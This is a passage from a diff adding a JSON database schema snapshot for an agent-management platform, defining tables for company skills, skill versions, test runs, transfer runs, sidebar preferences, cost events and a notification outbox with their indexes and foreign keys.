+          "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_test_inputs",
+          "columnsFrom": [
+            "input_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": {
+          "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "skill_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_agent_id_agents_id_fk": {
+          "name": "company_skill_test_runs_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_issue_id_issues_id_fk": {
+          "name": "company_skill_test_runs_issue_id_issues_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_versions": {
+      "name": "company_skill_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_id": {
+          "name": "release_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_name": {
+          "name": "release_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_versions_skill_revision_idx": {
+          "name": "company_skill_versions_skill_revision_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_skill_release_idx": {
+          "name": "company_skill_versions_skill_release_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "release_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_skill_versions\".\"release_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_company_skill_created_idx": {
+          "name": "company_skill_versions_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_versions_company_id_companies_id_fk": {
+          "name": "company_skill_versions_company_id_companies_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_versions_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_author_agent_id_agents_id_fk": {
+          "name": "company_skill_versions_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skills": {
+      "name": "company_skills",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "markdown": {
+          "name": "markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "source_locator": {
+          "name": "source_locator",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_ref": {
+          "name": "source_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trust_level": {
+          "name": "trust_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown_only'"
+        },
+        "compatibility": {
+          "name": "compatibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compatible'"
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "icon_url": {
+          "name": "icon_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tagline": {
+          "name": "tagline",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_name": {
+          "name": "author_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "homepage_url": {
+          "name": "homepage_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "categories": {
+          "name": "categories",
+          "type": "text[]",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'"
+        },
+        "sharing_scope": {
+          "name": "sharing_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "public_share_token": {
+          "name": "public_share_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_skill_id": {
+          "name": "forked_from_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_company_id": {
+          "name": "forked_from_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "star_count": {
+          "name": "star_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "install_count": {
+          "name": "install_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "fork_count": {
+          "name": "fork_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "current_version_id": {
+          "name": "current_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skills_company_key_idx": {
+          "name": "company_skills_company_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_name_idx": {
+          "name": "company_skills_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_folder_idx": {
+          "name": "company_skills_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_categories_idx": {
+          "name": "company_skills_company_categories_idx",
+          "columns": [
+            {
+              "expression": "categories",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "company_skills_company_sharing_scope_idx": {
+          "name": "company_skills_company_sharing_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "sharing_scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_current_version_idx": {
+          "name": "company_skills_company_current_version_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_version_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_forked_from_idx": {
+          "name": "company_skills_company_forked_from_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "forked_from_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skills_company_id_companies_id_fk": {
+          "name": "company_skills_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_skills_folder_id_folders_id_fk": {
+          "name": "company_skills_folder_id_folders_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_skill_id_company_skills_id_fk": {
+          "name": "company_skills_forked_from_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "forked_from_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_company_id_companies_id_fk": {
+          "name": "company_skills_forked_from_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "forked_from_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_current_version_id_company_skill_versions_id_fk": {
+          "name": "company_skills_current_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "current_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_transfer_runs": {
+      "name": "company_transfer_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "actor_key": {
+          "name": "actor_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "container_ref": {
+          "name": "container_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "manifest_sha256": {
+          "name": "manifest_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "manifest": {
+          "name": "manifest",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chunk_count": {
+          "name": "chunk_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "blob_count": {
+          "name": "blob_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "completed_parts": {
+          "name": "completed_parts",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_transfer_runs_company_idx": {
+          "name": "company_transfer_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_idempotency_direction_idx": {
+          "name": "company_transfer_runs_idempotency_direction_idx",
+          "columns": [
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_actor_status_idx": {
+          "name": "company_transfer_runs_actor_status_idx",
+          "columns": [
+            {
+              "expression": "actor_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_transfer_runs_company_id_companies_id_fk": {
+          "name": "company_transfer_runs_company_id_companies_id_fk",
+          "tableFrom": "company_transfer_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_user_sidebar_preferences": {
+      "name": "company_user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_order": {
+          "name": "project_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_user_sidebar_preferences_company_idx": {
+          "name": "company_user_sidebar_preferences_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_user_idx": {
+          "name": "company_user_sidebar_preferences_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_company_user_uq": {
+          "name": "company_user_sidebar_preferences_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_user_sidebar_preferences_company_id_companies_id_fk": {
+          "name": "company_user_sidebar_preferences_company_id_companies_id_fk",
+          "tableFrom": "company_user_sidebar_preferences",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cost_events": {
+      "name": "cost_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "billing_type": {
+          "name": "billing_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "cost_status": {
+          "name": "cost_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'reported'"
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cached_input_tokens": {
+          "name": "cached_input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cost_events_company_occurred_idx": {
+          "name": "cost_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_agent_occurred_idx": {
+          "name": "cost_events_company_agent_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_provider_occurred_idx": {
+          "name": "cost_events_company_provider_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_biller_occurred_idx": {
+          "name": "cost_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_heartbeat_run_idx": {
+          "name": "cost_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cost_events_company_id_companies_id_fk": {
+          "name": "cost_events_company_id_companies_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_agent_id_agents_id_fk": {
+          "name": "cost_events_agent_id_agents_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_issue_id_issues_id_fk": {
+          "name": "cost_events_issue_id_issues_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cost_events_project_id_projects_id_fk": {
+          "name": "cost_events_project_id_projects_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_goal_id_goals_id_fk": {
+          "name": "cost_events_goal_id_goals_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_archive_notification_outbox": {
+      "name": "decision_archive_notification_outbox",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "delivered_at": {
+          "name": "delivered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_archive_notification_outbox_uq": {
+          "name": "decision_archive_notification_outbox_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archive_version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_agent_id",
+              "isExpression": false,
+              "asc": true,
